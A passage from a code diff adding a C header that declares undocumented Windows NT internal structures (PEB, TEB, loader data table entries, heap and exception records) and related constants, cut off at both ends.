StackTraces[4][4]; +} ACTIVATION_CONTEXT, *PACTIVATION_CONTEXT; // + +typedef struct _PEB_FREE_BLOCK { + struct _PEB_FREE_BLOCK *Next; + ULONG Size; +} PEB_FREE_BLOCK, *PPEB_FREE_BLOCK; + +typedef struct _PEB_LDR_DATA +{ + ULONG Length; + BOOLEAN Initialized; + HANDLE SsHandle; + LIST_ENTRY InLoadOrderModuleList; + LIST_ENTRY InMemoryOrderModuleList; + LIST_ENTRY InInitializationOrderModuleList; + PVOID EntryInProgress; + BOOLEAN ShutdownInProgress; + HANDLE ShutdownThreadId; +} PEB_LDR_DATA, *PPEB_LDR_DATA; + +typedef struct _INITIAL_TEB +{ + struct + { + PVOID OldStackBase; + PVOID OldStackLimit; + } OldInitialTeb; + + PVOID StackBase; + PVOID StackLimit; + PVOID StackAllocationBase; + +} INITIAL_TEB, *PINITIAL_TEB; + +typedef struct _WOW64_PROCESS +{ + PVOID Wow64; +} WOW64_PROCESS, *PWOW64_PROCESS; + +// +// Private flags for loader data table entries +// + +#define LDRP_STATIC_LINK 0x00000002 +#define LDRP_IMAGE_DLL 0x00000004 +#define LDRP_LOAD_IN_PROGRESS 0x00001000 +#define LDRP_UNLOAD_IN_PROGRESS 0x00002000 +#define LDRP_ENTRY_PROCESSED 0x00004000 +#define LDRP_ENTRY_INSERTED 0x00008000 +#define LDRP_CURRENT_LOAD 0x00010000 +#define LDRP_FAILED_BUILTIN_LOAD 0x00020000 +#define LDRP_DONT_CALL_FOR_THREADS 0x00040000 +#define LDRP_PROCESS_ATTACH_CALLED 0x00080000 +#define LDRP_DEBUG_SYMBOLS_LOADED 0x00100000 +#define LDRP_IMAGE_NOT_AT_BASE 0x00200000 +#define LDRP_COR_IMAGE 0x00400000 +#define LDRP_COR_OWNS_UNMAP 0x00800000 +#define LDRP_SYSTEM_MAPPED 0x01000000 +#define LDRP_IMAGE_VERIFYING 0x02000000 +#define LDRP_DRIVER_DEPENDENT_DLL 0x04000000 +#define LDRP_ENTRY_NATIVE 0x08000000 +#define LDRP_REDIRECTED 0x10000000 +#define LDRP_NON_PAGED_DEBUG_INFO 0x20000000 +#define LDRP_MM_LOADED 0x40000000 +#define LDRP_COMPAT_DATABASE_PROCESSED 0x80000000 + +#define LDR_GET_DLL_HANDLE_EX_UNCHANGED_REFCOUNT 0x00000001 +#define LDR_GET_DLL_HANDLE_EX_PIN 0x00000002 + +#define LDR_ADDREF_DLL_PIN 0x00000001 + +#define LDR_GET_PROCEDURE_ADDRESS_DONT_RECORD_FORWARDER 0x00000001 + +#define LDR_LOCK_LOADER_LOCK_FLAG_RAISE_ON_ERRORS 0x00000001 +#define LDR_LOCK_LOADER_LOCK_FLAG_TRY_ONLY 0x00000002 + +#define LDR_LOCK_LOADER_LOCK_DISPOSITION_INVALID 0 +#define LDR_LOCK_LOADER_LOCK_DISPOSITION_LOCK_ACQUIRED 1 +#define LDR_LOCK_LOADER_LOCK_DISPOSITION_LOCK_NOT_ACQUIRED 2 + +#define LDR_UNLOCK_LOADER_LOCK_FLAG_RAISE_ON_ERRORS 0x00000001 + +#define LDR_DLL_NOTIFICATION_REASON_LOADED 1 +#define LDR_DLL_NOTIFICATION_REASON_UNLOADED 2 + +typedef struct _LDR_DLL_LOADED_NOTIFICATION_DATA +{ + ULONG Flags; + PUNICODE_STRING FullDllName; + PUNICODE_STRING BaseDllName; + PVOID DllBase; + ULONG SizeOfImage; +} LDR_DLL_LOADED_NOTIFICATION_DATA, *PLDR_DLL_LOADED_NOTIFICATION_DATA; + +typedef struct _LDR_DLL_UNLOADED_NOTIFICATION_DATA +{ + ULONG Flags; + PCUNICODE_STRING FullDllName; + PCUNICODE_STRING BaseDllName; + PVOID DllBase; + ULONG SizeOfImage; +} LDR_DLL_UNLOADED_NOTIFICATION_DATA, *PLDR_DLL_UNLOADED_NOTIFICATION_DATA; + +typedef union _LDR_DLL_NOTIFICATION_DATA +{ + LDR_DLL_LOADED_NOTIFICATION_DATA Loaded; + LDR_DLL_UNLOADED_NOTIFICATION_DATA Unloaded; +} LDR_DLL_NOTIFICATION_DATA, *PLDR_DLL_NOTIFICATION_DATA; + +typedef VOID (NTAPI *PLDR_DLL_NOTIFICATION_FUNCTION)( + IN ULONG NotificationReason, + IN PLDR_DLL_NOTIFICATION_DATA NotificationData, + IN OPTIONAL PVOID Context + ); + +typedef struct _RTL_PROCESS_MODULE_INFORMATION +{ + HANDLE Section; + PVOID MappedBase; + PVOID ImageBase; + ULONG ImageSize; + ULONG Flags; + USHORT LoadOrderIndex; + USHORT InitOrderIndex; + USHORT LoadCount; + USHORT OffsetToFileName; + UCHAR FullPathName[256]; +} RTL_PROCESS_MODULE_INFORMATION, *PRTL_PROCESS_MODULE_INFORMATION; + +typedef struct _RTL_PROCESS_MODULES +{ + ULONG NumberOfModules; + RTL_PROCESS_MODULE_INFORMATION Modules[1]; +} RTL_PROCESS_MODULES, *PRTL_PROCESS_MODULES; + +typedef struct _RTL_PROCESS_MODULE_INFORMATION_EX +{ + USHORT NextOffset; + RTL_PROCESS_MODULE_INFORMATION BaseInfo; + ULONG ImageChecksum; + ULONG TimeDateStamp; + PVOID DefaultBase; +} RTL_PROCESS_MODULE_INFORMATION_EX, *PRTL_PROCESS_MODULE_INFORMATION_EX; + +// +// Loader Data Table. Used to track DLLs loaded into an +// image. +// +#ifdef __cplusplus +struct LIST_ENTRY_EX : public LIST_ENTRY +{ + BYTE unk1[8]; + HANDLE base; + BYTE unk2[20]; + WCHAR* name; +}; +#endif + +typedef struct _LDR_DATA_TABLE_ENTRY +{ + LIST_ENTRY InLoadOrderLinks; + LIST_ENTRY InMemoryOrderLinks; + LIST_ENTRY InInitializationOrderLinks; + PVOID DllBase; + PVOID EntryPoint; + ULONG SizeOfImage; + UNICODE_STRING FullDllName; + UNICODE_STRING BaseDllName; + ULONG Flags; + USHORT LoadCount; + USHORT TlsIndex; + union + { + LIST_ENTRY HashLinks; + struct + { + PVOID SectionPointer; + ULONG CheckSum; + }; + }; + union + { + ULONG TimeDateStamp; + PVOID LoadedImports; + }; + PVOID EntryPointActivationContext; + PVOID PatchInformation; + LIST_ENTRY ForwarderLinks; + LIST_ENTRY ServiceTagLinks; + LIST_ENTRY StaticLinks; + PVOID ContextInformation; + ULONG_PTR OriginalBase; + LARGE_INTEGER LoadTime; +} LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY; + +typedef const struct _LDR_DATA_TABLE_ENTRY *PCLDR_DATA_TABLE_ENTRY; + +typedef NTSTATUS LDR_RELOCATE_IMAGE_RETURN_TYPE; + +struct _FLS_CALLBACK_INFO; + +typedef BOOLEAN (NTAPI *PDLL_INIT_ROUTINE)( + IN PVOID DllHandle, + IN ULONG Reason, + IN OPTIONAL PCONTEXT Context + ); + +#define DOS_MAX_COMPONENT_LENGTH 255 +#define DOS_MAX_PATH_LENGTH (DOS_MAX_COMPONENT_LENGTH + 5) + +#define RTL_USER_PROC_CURDIR_CLOSE 0x00000002 +#define RTL_USER_PROC_CURDIR_INHERIT 0x00000003 + +typedef struct _RTL_RELATIVE_NAME +{ + STRING RelativeName; + HANDLE ContainingDirectory; +} RTL_RELATIVE_NAME, *PRTL_RELATIVE_NAME; + +typedef struct _RTLP_CURDIR_REF *PRTLP_CURDIR_REF; + +typedef struct _RTL_RELATIVE_NAME_U +{ + UNICODE_STRING RelativeName; + HANDLE ContainingDirectory; + PRTLP_CURDIR_REF CurDirRef; +} RTL_RELATIVE_NAME_U, *PRTL_RELATIVE_NAME_U; + +typedef enum _RTL_PATH_TYPE +{ + RtlPathTypeUnknown, + RtlPathTypeUncAbsolute, + RtlPathTypeDriveAbsolute, + RtlPathTypeDriveRelative, + RtlPathTypeRooted, + RtlPathTypeRelative, + RtlPathTypeLocalDevice, + RtlPathTypeRootLocalDevice +} RTL_PATH_TYPE, *PRTL_PATH_TYPE; + +#define RTL_MAX_DRIVE_LETTERS 32 +#define RTL_DRIVE_LETTER_VALID (USHORT)0x0001 + +// 18/04/2011 updated +typedef struct _PEB +{ + BOOLEAN InheritedAddressSpace; + BOOLEAN ReadImageFileExecOptions; + BOOLEAN BeingDebugged; + union + { + BOOLEAN BitField; + struct + { + BOOLEAN ImageUsesLargePages : 1; + BOOLEAN IsProtectedProcess : 1; + BOOLEAN IsLegacyProcess : 1; + BOOLEAN IsImageDynamicallyRelocated : 1; + BOOLEAN SkipPatchingUser32Forwarders : 1; + BOOLEAN SpareBits : 3; + }; + }; + HANDLE Mutant; + + PVOID ImageBaseAddress; + PPEB_LDR_DATA Ldr; + PRTL_USER_PROCESS_PARAMETERS ProcessParameters; + PVOID SubSystemData; + PVOID ProcessHeap; + PRTL_CRITICAL_SECTION FastPebLock; + PVOID AtlThunkSListPtr; + PVOID IFEOKey; + union + { + ULONG CrossProcessFlags; + struct + { + ULONG ProcessInJob : 1; + ULONG ProcessInitializing : 1; + ULONG ProcessUsingVEH : 1; + ULONG ProcessUsingVCH : 1; + ULONG ProcessUsingFTH : 1; + ULONG ReservedBits0 : 27; + }; + ULONG EnvironmentUpdateCount; + }; + union + { + PVOID KernelCallbackTable; + PVOID UserSharedInfoPtr; + }; + ULONG SystemReserved[1]; + ULONG AtlThunkSListPtr32; + PVOID ApiSetMap; + ULONG TlsExpansionCounter; + PVOID TlsBitmap; + ULONG TlsBitmapBits[2]; + PVOID ReadOnlySharedMemoryBase; + PVOID HotpatchInformation; + PPVOID ReadOnlyStaticServerData; + PVOID AnsiCodePageData; + PVOID OemCodePageData; + PVOID UnicodeCaseTableData; + + ULONG NumberOfProcessors; + ULONG NtGlobalFlag; + + LARGE_INTEGER CriticalSectionTimeout; + SIZE_T HeapSegmentReserve; + SIZE_T HeapSegmentCommit; + SIZE_T HeapDeCommitTotalFreeThreshold; + SIZE_T HeapDeCommitFreeBlockThreshold; + + ULONG NumberOfHeaps; + ULONG MaximumNumberOfHeaps; + PPVOID ProcessHeaps; + + PVOID GdiSharedHandleTable; + PVOID ProcessStarterHelper; + ULONG GdiDCAttributeList; + + PRTL_CRITICAL_SECTION LoaderLock; + + ULONG OSMajorVersion; + ULONG OSMinorVersion; + USHORT OSBuildNumber; + USHORT OSCSDVersion; + ULONG OSPlatformId; + ULONG ImageSubsystem; + ULONG ImageSubsystemMajorVersion; + ULONG ImageSubsystemMinorVersion; + ULONG_PTR ImageProcessAffinityMask; + GDI_HANDLE_BUFFER GdiHandleBuffer; + PVOID PostProcessInitRoutine; + + PVOID TlsExpansionBitmap; + ULONG TlsExpansionBitmapBits[32]; + + ULONG SessionId; + + ULARGE_INTEGER AppCompatFlags; + ULARGE_INTEGER AppCompatFlagsUser; + PVOID pShimData; + PVOID AppCompatInfo; + + UNICODE_STRING CSDVersion; + + PVOID ActivationContextData; + PVOID ProcessAssemblyStorageMap; + PVOID SystemDefaultActivationContextData; + PVOID SystemAssemblyStorageMap; + + SIZE_T MinimumStackCommit; + + PPVOID FlsCallback; + LIST_ENTRY FlsListHead; + PVOID FlsBitmap; + ULONG FlsBitmapBits[FLS_MAXIMUM_AVAILABLE / (sizeof(ULONG) * 8)]; + ULONG FlsHighIndex; + + PVOID WerRegistrationData; + PVOID WerShipAssertPtr; + PVOID pContextData; + PVOID pImageHeaderHash; + union + { + ULONG TracingFlags; + struct + { + ULONG HeapTracingEnabled : 1; + ULONG CritSecTracingEnabled : 1; + ULONG SpareTracingBits : 30; + }; + }; +} PEB, *PPEB; + +// +// Fusion/sxs thread state information (aka, stuff noone cares about!) +// + +#define ACTIVATION_CONTEXT_STACK_FLAG_QUERIES_DISABLED (0x00000001) + +typedef struct _RTL_ACTIVATION_CONTEXT_STACK_FRAME +{ + struct _RTL_ACTIVATION_CONTEXT_STACK_FRAME* Previous; + struct _ACTIVATION_CONTEXT* ActivationContext; + ULONG Flags; +} RTL_ACTIVATION_CONTEXT_STACK_FRAME, *PRTL_ACTIVATION_CONTEXT_STACK_FRAME; + + +typedef struct _ACTIVATION_CONTEXT_STACK +{ + struct _RTL_ACTIVATION_CONTEXT_STACK_FRAME * ActiveFrame; + struct _LIST_ENTRY FrameListCache; + ULONG Flags; + ULONG NextCookieSequenceNumber; + ULONG StackId; +} ACTIVATION_CONTEXT_STACK, * PACTIVATION_CONTEXT_STACK; + +typedef const ACTIVATION_CONTEXT_STACK * PCACTIVATION_CONTEXT_STACK; + +#define TEB_ACTIVE_FRAME_CONTEXT_FLAG_EXTENDED (0x00000001) + +typedef struct _TEB_ACTIVE_FRAME_CONTEXT +{ + ULONG Flags; + PSTR FrameName; +} TEB_ACTIVE_FRAME_CONTEXT, *PTEB_ACTIVE_FRAME_CONTEXT; + +typedef const TEB_ACTIVE_FRAME_CONTEXT *PCTEB_ACTIVE_FRAME_CONTEXT; + +typedef struct _TEB_ACTIVE_FRAME_CONTEXT_EX +{ + TEB_ACTIVE_FRAME_CONTEXT BasicContext; + PCSTR SourceLocation; // e.g. "c:\windows\system32\ntdll.dll" +} TEB_ACTIVE_FRAME_CONTEXT_EX, *PTEB_ACTIVE_FRAME_CONTEXT_EX; + +typedef const TEB_ACTIVE_FRAME_CONTEXT_EX *PCTEB_ACTIVE_FRAME_CONTEXT_EX; + +#define TEB_ACTIVE_FRAME_FLAG_EXTENDED (0x00000001) + +// 17/3/2011 updated +typedef struct _TEB_ACTIVE_FRAME +{ + ULONG Flags; + struct _TEB_ACTIVE_FRAME *Previous; + PTEB_ACTIVE_FRAME_CONTEXT Context; +} TEB_ACTIVE_FRAME, *PTEB_ACTIVE_FRAME; + +typedef const TEB_ACTIVE_FRAME *PCTEB_ACTIVE_FRAME; + +typedef struct _TEB_ACTIVE_FRAME_EX +{ + TEB_ACTIVE_FRAME BasicFrame; + PVOID ExtensionIdentifier; // use address of your DLL Main or something mapping in the address space +} TEB_ACTIVE_FRAME_EX, *PTEB_ACTIVE_FRAME_EX; + +typedef const TEB_ACTIVE_FRAME_EX *PCTEB_ACTIVE_FRAME_EX; + +// 18/04/2011 +typedef struct _TEB +{ + NT_TIB NtTib; + + PVOID EnvironmentPointer; + CLIENT_ID ClientId; + PVOID ActiveRpcHandle; + PVOID ThreadLocalStoragePointer; + PPEB ProcessEnvironmentBlock; + + ULONG LastErrorValue; + ULONG CountOfOwnedCriticalSections; + PVOID CsrClientThread; + PVOID Win32ThreadInfo; + ULONG User32Reserved[26]; + ULONG UserReserved[5]; + PVOID WOW32Reserved; + LCID CurrentLocale; + ULONG FpSoftwareStatusRegister; + PVOID SystemReserved1[54]; + NTSTATUS ExceptionCode; + PVOID ActivationContextStackPointer; +#if defined(_M_X64) + UCHAR SpareBytes[24]; +#else + UCHAR SpareBytes[36]; +#endif + ULONG TxFsContext; + + GDI_TEB_BATCH GdiTebBatch; + CLIENT_ID RealClientId; + HANDLE GdiCachedProcessHandle; + ULONG GdiClientPID; + ULONG GdiClientTID; + PVOID GdiThreadLocalInfo; + ULONG_PTR Win32ClientInfo[62]; + PVOID glDispatchTable[233]; + ULONG_PTR glReserved1[29]; + PVOID glReserved2; + PVOID glSectionInfo; + PVOID glSection; + PVOID glTable; + PVOID glCurrentRC; + PVOID glContext; + + NTSTATUS LastStatusValue; + UNICODE_STRING StaticUnicodeString; + WCHAR StaticUnicodeBuffer[261]; + + PVOID DeallocationStack; + PVOID TlsSlots[64]; + LIST_ENTRY TlsLinks; + + PVOID Vdm; + PVOID ReservedForNtRpc; + PVOID DbgSsReserved[2]; + + ULONG HardErrorMode; +#if defined(_M_X64) + PVOID Instrumentation[11]; +#else + PVOID Instrumentation[9]; +#endif + GUID ActivityId; + + PVOID SubProcessTag; + PVOID EtwLocalData; + PVOID EtwTraceData; + PVOID WinSockData; + ULONG GdiBatchCount; + + union + { + PROCESSOR_NUMBER CurrentIdealProcessor; + ULONG IdealProcessorValue; + struct + { + UCHAR ReservedPad0; + UCHAR ReservedPad1; + UCHAR ReservedPad2; + UCHAR IdealProcessor; + }; + }; + + ULONG GuaranteedStackBytes; + PVOID ReservedForPerf; + PVOID ReservedForOle; + ULONG WaitingOnLoaderLock; + PVOID SavedPriorityState; + ULONG_PTR SoftPatchPtr1; + PVOID ThreadPoolData; + PPVOID TlsExpansionSlots; +#if defined(_M_X64) + PVOID DeallocationBStore; + PVOID BStoreLimit; +#endif + ULONG MuiGeneration; + ULONG IsImpersonating; + PVOID NlsCache; + PVOID pShimData; + ULONG HeapVirtualAffinity; + HANDLE CurrentTransactionHandle; + PTEB_ACTIVE_FRAME ActiveFrame; + PVOID FlsData; + + PVOID PreferredLanguages; + PVOID UserPrefLanguages; + PVOID MergedPrefLanguages; + ULONG MuiImpersonation; + + union + { + USHORT CrossTebFlags; + USHORT SpareCrossTebBits : 16; + }; + union + { + USHORT SameTebFlags; + struct + { + USHORT SafeThunkCall : 1; + USHORT InDebugPrint : 1; + USHORT HasFiberData : 1; + USHORT SkipThreadAttach : 1; + USHORT WerInShipAssertCode : 1; + USHORT RanProcessInit : 1; + USHORT ClonedThread : 1; + USHORT SuppressDebugMsg : 1; + USHORT DisableUserStackWalk : 1; + USHORT RtlExceptionAttached : 1; + USHORT InitialThread : 1; + USHORT SpareSameTebBits : 1; + }; + }; + + PVOID TxnScopeEnterCallback; + PVOID TxnScopeExitCallback; + PVOID TxnScopeContext; + ULONG LockCount; + ULONG SpareUlong0; + PVOID ResourceRetValue; +} TEB, *PTEB; + +#define PcTeb 0x18 + +#define RtlGetCurrentProcessId() (HandleToUlong(NtCurrentTeb()->ClientId.UniqueProcess)) +#define RtlGetCurrentThreadId() (HandleToUlong(NtCurrentTeb()->ClientId.UniqueThread)) + +#define ZwCurrentProcess() NtCurrentProcess() + +// 17/3/2011 added +__inline struct _PEB * NtCurrentPeb() { return NtCurrentTeb()->ProcessEnvironmentBlock; } +#define WOWAddress() ( NtCurrentTeb()->WOW32Reserved ) +#define RtlProcessHeap() ( NtCurrentPeb()->ProcessHeap ) + +// 28/3/2011 added +#define RtlAcquireLockRoutine(L) RtlEnterCriticalSection((PRTL_CRITICAL_SECTION)(L)) + +// added 18.04.2011 +typedef struct _THREAD_BASIC_INFORMATION +{ + NTSTATUS ExitStatus; + PTEB TebBaseAddress; + CLIENT_ID ClientId; + KAFFINITY AffinityMask; + KPRIORITY Priority; + KPRIORITY BasePriority; +} THREAD_BASIC_INFORMATION, *PTHREAD_BASIC_INFORMATION; + +// added 20.12.11 +// Process Device Map information +// NtQueryInformationProcess using ProcessDeviceMap +// NtSetInformationProcess using ProcessDeviceMap +// +//#pragma pack (push, 1) +typedef struct _PROCESS_DEVICEMAP_INFORMATION { + union { + struct { + HANDLE DirectoryHandle; + } Set; + struct { + ULONG DriveMap; + UCHAR DriveType[ 32 ]; + } Query; + }; +} PROCESS_DEVICEMAP_INFORMATION, *PPROCESS_DEVICEMAP_INFORMATION; + +typedef struct _PROCESS_DEVICEMAP_INFORMATION_EX { + union { + struct { + HANDLE DirectoryHandle; + } Set; + struct { + ULONG DriveMap; + UCHAR DriveType[ 32 ]; + } Query; + }; + ULONG Flags; // specifies that the query type +} PROCESS_DEVICEMAP_INFORMATION_EX, *PPROCESS_DEVICEMAP_INFORMATION_EX; +//#pragma pack(pop) + +typedef struct _PROCESS_BASIC_INFORMATION +{ + NTSTATUS ExitStatus; + PPEB PebBaseAddress; + ULONG_PTR AffinityMask; + KPRIORITY BasePriority; + ULONG_PTR UniqueProcessId; + ULONG_PTR InheritedFromUniqueProcessId; +} PROCESS_BASIC_INFORMATION; +typedef PROCESS_BASIC_INFORMATION *PPROCESS_BASIC_INFORMATION; + +typedef struct _PROCESS_EXTENDED_BASIC_INFORMATION +{ + SIZE_T Size; // Must be set to structure size on input + PROCESS_BASIC_INFORMATION BasicInfo; + union + { + ULONG Flags; + struct + { + ULONG IsProtectedProcess : 1; + ULONG IsWow64Process : 1; + ULONG IsProcessDeleting : 1; + ULONG IsCrossSessionCreate : 1; + ULONG SpareBits : 28; + } DUMMYSTRUCTNAME; + } DUMMYUNIONNAME; +} PROCESS_EXTENDED_BASIC_INFORMATION, *PPROCESS_EXTENDED_BASIC_INFORMATION; + +typedef struct _RTL_HEAP_ENTRY +{ + SIZE_T Size; + USHORT Flags; + USHORT AllocatorBackTraceIndex; + union + { + struct + { + SIZE_T Settable; + ULONG Tag; + } s1; // All other heap entries + struct + { + SIZE_T CommittedSize; + PVOID FirstBlock; + } s2; // RTL_SEGMENT + } u; +} RTL_HEAP_ENTRY, *PRTL_HEAP_ENTRY; + +#define RTL_HEAP_BUSY (USHORT)0x0001 +#define RTL_HEAP_SEGMENT (USHORT)0x0002 +#define RTL_HEAP_SETTABLE_VALUE (USHORT)0x0010 +#define RTL_HEAP_SETTABLE_FLAG1 (USHORT)0x0020 +#define RTL_HEAP_SETTABLE_FLAG2 (USHORT)0x0040 +#define RTL_HEAP_SETTABLE_FLAG3 (USHORT)0x0080 +#define RTL_HEAP_SETTABLE_FLAGS (USHORT)0x00E0 +#define RTL_HEAP_UNCOMMITTED_RANGE (USHORT)0x0100 +#define RTL_HEAP_PROTECTED_ENTRY (USHORT)0x0200 + +typedef struct _RTL_HEAP_TAG +{ + ULONG NumberOfAllocations; + ULONG NumberOfFrees; + SIZE_T BytesAllocated; + USHORT TagIndex; + USHORT CreatorBackTraceIndex; + WCHAR TagName[ 24 ]; +} RTL_HEAP_TAG, *PRTL_HEAP_TAG; + +typedef struct _RTL_HEAP_INFORMATION +{ + PVOID BaseAddress; + ULONG Flags; + USHORT EntryOverhead; + USHORT CreatorBackTraceIndex; + SIZE_T BytesAllocated; + SIZE_T BytesCommitted; + ULONG NumberOfTags; + ULONG NumberOfEntries; + ULONG NumberOfPseudoTags; + ULONG PseudoTagGranularity; + ULONG Reserved[ 5 ]; + PRTL_HEAP_TAG Tags; + PRTL_HEAP_ENTRY Entries; +} RTL_HEAP_INFORMATION, *PRTL_HEAP_INFORMATION; + +typedef struct _RTL_PROCESS_HEAPS +{ + ULONG NumberOfHeaps; + RTL_HEAP_INFORMATION Heaps[ 1 ]; +} RTL_PROCESS_HEAPS, *PRTL_PROCESS_HEAPS; + +typedef struct _RTL_PROCESS_LOCK_INFORMATION +{ + PVOID Address; + USHORT Type; + USHORT CreatorBackTraceIndex; + + HANDLE OwningThread; // from the thread's ClientId->UniqueThread + LONG LockCount; + ULONG ContentionCount; + ULONG EntryCount; + + // + // The following fields are only valid for Type == RTL_CRITSECT_TYPE + // + + LONG RecursionCount; + + // + // The following fields are only valid for Type == RTL_RESOURCE_TYPE + // + + ULONG NumberOfWaitingShared; + ULONG NumberOfWaitingExclusive; +} RTL_PROCESS_LOCK_INFORMATION, *PRTL_PROCESS_LOCK_INFORMATION; + +// do not name SHA_CTX, if using OpenSSL or such... produces errors. +typedef struct { + ULONG Unknown[6]; + ULONG State[5]; + ULONG Count[2]; + UCHAR Buffer[64]; +} ASHA_CTX, *PSHA_CTX; + +struct _CONTEXT; +struct _EXCEPTION_RECORD; + +// note, winnt.h ... such the pain-in-ass with this structure. +#if !defined(_WINNT_) +typedef +EXCEPTION_DISPOSITION +(*PEXCEPTION_ROUTINE) ( + IN struct _EXCEPTION_RECORD *ExceptionRecord, + IN PVOID EstablisherFrame, + IN OUT struct _CONTEXT *ContextRecord, + IN OUT PVOID DispatcherContext + ); + +typedef struct _EXCEPTION_REGISTRATION_RECORD { + struct _EXCEPTION_REGISTRATION_RECORD *Next; + PEXCEPTION_ROUTINE Handler; +} EXCEPTION_REGISTRATION_RECORD; + +typedef EXCEPTION_REGISTRATION_RECORD *PEXCEPTION_REGISTRATION_RECORD; +#endif + +#if !defined(POINTER_64) +#define POINTER_64 __ptr64 +typedef unsigned __int64 POINTER_64_INT; +#if defined(_M_X64) +#define POINTER_32 __ptr32 +#else +#define POINTER_32 +#endif +#endif + +typedef enum _NT_PRODUCT_TYPE +{ + NtProductWinNt = 1, + NtProductLanManNt, + NtProductServer +} NT_PRODUCT_TYPE, *PNT_PRODUCT_TYPE; + + +typedef enum _SUITE_TYPE +{ + SmallBusiness, + Enterprise, + BackOffice, + CommunicationServer, + TerminalServer, + SmallBusinessRestricted, + EmbeddedNT, + DataCenter, + SingleUserTS, + Personal, + Blade, + EmbeddedRestricted, + SecurityAppliance, + StorageServer, + ComputeServer, + MaxSuiteType +} SUITE_TYPE; + +#define VER_SERVER_NT 0x80000000 +#define VER_WORKSTATION_NT 0x40000000 +#define VER_SUITE_SMALLBUSINESS 0x00000001 +#define VER_SUITE_ENTERPRISE 0x00000002 +#define VER_SUITE_BACKOFFICE 0x00000004 +#define VER_SUITE_COMMUNICATIONS 0x00000008 +#define VER_SUITE_TERMINAL 0x00000010 +#define VER_SUITE_SMALLBUSINESS_RESTRICTED 0x00000020 +#define VER_SUITE_EMBEDDEDNT 0x00000040 +#define VER_SUITE_DATACENTER 0x00000080 +#define VER_SUITE_SINGLEUSERTS 0x00000100 +#define VER_SUITE_PERSONAL 0x00000200 +#define VER_SUITE_BLADE 0x00000400 +#define VER_SUITE_EMBEDDED_RESTRICTED 0x00000800 +#define VER_SUITE_SECURITY_APPLIANCE 0x00001000 +#define VER_SUITE_STORAGE_SERVER 0x00002000 +#define VER_SUITE_COMPUTE_SERVER 0x00004000 + +// +// exception structures +// + +#ifndef _WINNT_ // take presidence over winnt.h + +typedef struct _CONTEXT +{ + + // + // The flags values within this flag control the contents of + // a CONTEXT record. + // + // If the context record is used as an input parameter, then + // for each portion of the context record controlled by a flag + // whose value is set, it is assumed that that portion of the + // context record contains valid context. If the context record + // is being used to modify a threads context, then only that + // portion of the threads context will be modified. + // + // If the context record is used as an IN OUT parameter to capture + // the context of a thread, then only those portions of the thread's + // context corresponding to set flags will be returned. + // + // The context record is never used as an OUT only parameter. + // + + DWORD ContextFlags; + + // + // This section is specified/returned if CONTEXT_DEBUG_REGISTERS is + // set in ContextFlags. Note that CONTEXT_DEBUG_REGISTERS is NOT + // included in CONTEXT_FULL. + // + + DWORD Dr0; + DWORD Dr1; + DWORD Dr2; + DWORD Dr3; + DWORD Dr6; + DWORD Dr7; + + // + // This section is specified/returned if the + // ContextFlags word contians the flag CONTEXT_FLOATING_POINT. + // + + FLOATING_SAVE_AREA FloatSave; + + // + // This section is specified/returned if the + // ContextFlags word contians the flag CONTEXT_SEGMENTS. + // + + DWORD SegGs; + DWORD SegFs; + DWORD SegEs; + DWORD SegDs; + + // + // This section is specified/returned if the + // ContextFlags word contians the flag CONTEXT_INTEGER. + // + + DWORD Edi; + DWORD Esi; + DWORD Ebx; + DWORD Edx; + DWORD Ecx; + DWORD Eax; + + // + // This section is specified/returned if the + // ContextFlags word contians the flag CONTEXT_CONTROL. + // + + DWORD Ebp; + DWORD Eip; + DWORD SegCs; // MUST BE SANITIZED + DWORD EFlags; // MUST BE SANITIZED + DWORD Esp; + DWORD SegSs; + + // + // This section is specified/returned if the ContextFlags word + // contains the flag CONTEXT_EXTENDED_REGISTERS. + // The format and contexts are processor specific + // + + BYTE ExtendedRegisters[MAXIMUM_SUPPORTED_EXTENSION]; + +} CONTEXT, *PCONTEXT; + +typedef struct _EXCEPTION_RECORD +{ + DWORD ExceptionCode; // NTSTATUS code of the exception. + DWORD ExceptionFlags; // need more information + struct _EXCEPTION_RECORD *ExceptionRecord; // pointer to an extra record + PVOID ExceptionAddress; // address of the exception happen + DWORD NumberParameters; // more information needed ... + ULONG_PTR ExceptionInformation[EXCEPTION_MAXIMUM_PARAMETERS]; +} EXCEPTION_RECORD, *PEXCEPTION_RECORD; + +// +// Values put in ExceptionRecord.ExceptionInformation[0] +// First parameter is always in ExceptionInformation[1], +// Second parameter is always in ExceptionInformation[2] +// + +typedef struct _EXCEPTION_RECORD32 { + DWORD ExceptionCode; + DWORD ExceptionFlags; + DWORD ExceptionRecord; + DWORD ExceptionAddress; + DWORD NumberParameters; + DWORD ExceptionInformation[EXCEPTION_MAXIMUM_PARAMETERS]; +} EXCEPTION_RECORD32, *PEXCEPTION_RECORD32; + +typedef struct _EXCEPTION_RECORD64 { + DWORD ExceptionCode; + DWORD ExceptionFlags; + DWORD64 ExceptionRecord; + DWORD64 ExceptionAddress; + DWORD NumberParameters; + DWORD __unusedAlignment; + DWORD64 ExceptionInformation[EXCEPTION_MAXIMUM_PARAMETERS]; +} EXCEPTION_RECORD64, *PEXCEPTION_RECORD64; + +// +// Typedef for pointer returned by exception_info() +// + +typedef struct _EXCEPTION_POINTERS +{ + PEXCEPTION_RECORD ExceptionRecord; + PCONTEXT ContextRecord; +} EXCEPTION_POINTERS, *PEXCEPTION_POINTERS; + +#endif + +typedef NTSTATUS (NTAPI * PRTL_QUERY_REGISTRY_ROUTINE)( + IN PWSTR ValueName, + IN ULONG ValueType, + IN PVOID ValueData, + IN ULONG ValueLength, + IN PVOID Context, + IN PVOID EntryContext + ); + +typedef struct _RTL_QUERY_REGISTRY_TABLE { + PRTL_QUERY_REGISTRY_ROUTINE QueryRoutine; + ULONG Flags; + PWSTR Name; + PVOID EntryContext; + ULONG DefaultType; + PVOID DefaultData; + ULONG DefaultLength; + +} RTL_QUERY_REGISTRY_TABLE, *PRTL_QUERY_REGISTRY_TABLE; + +#define EXCEPTION_CHAIN_END ((struct _EXCEPTION_REGISTRATION_RECORD * POINTER_32)-1) + +#define MAJOR_VERSION 30 +#define MINOR_VERSION 00 +#define OS2_VERSION (MAJOR_VERSION << 8 | MINOR_VERSION ) + +#ifdef DBG +#define DBG_TEB_THREADNAME 16 +#define DBG_TEB_RESERVED_1 15 +#define DBG_TEB_RESERVED_2 14 +#define DBG_TEB_RESERVED_3 13 +#define DBG_TEB_RESERVED_4 12 +#define DBG_TEB_RESERVED_5 11 +#define DBG_TEB_RESERVED_6 10 +#define DBG_TEB_RESERVED_7 9 +#define DBG_TEB_RESERVED_8 8 +#endif // DBG + +#define 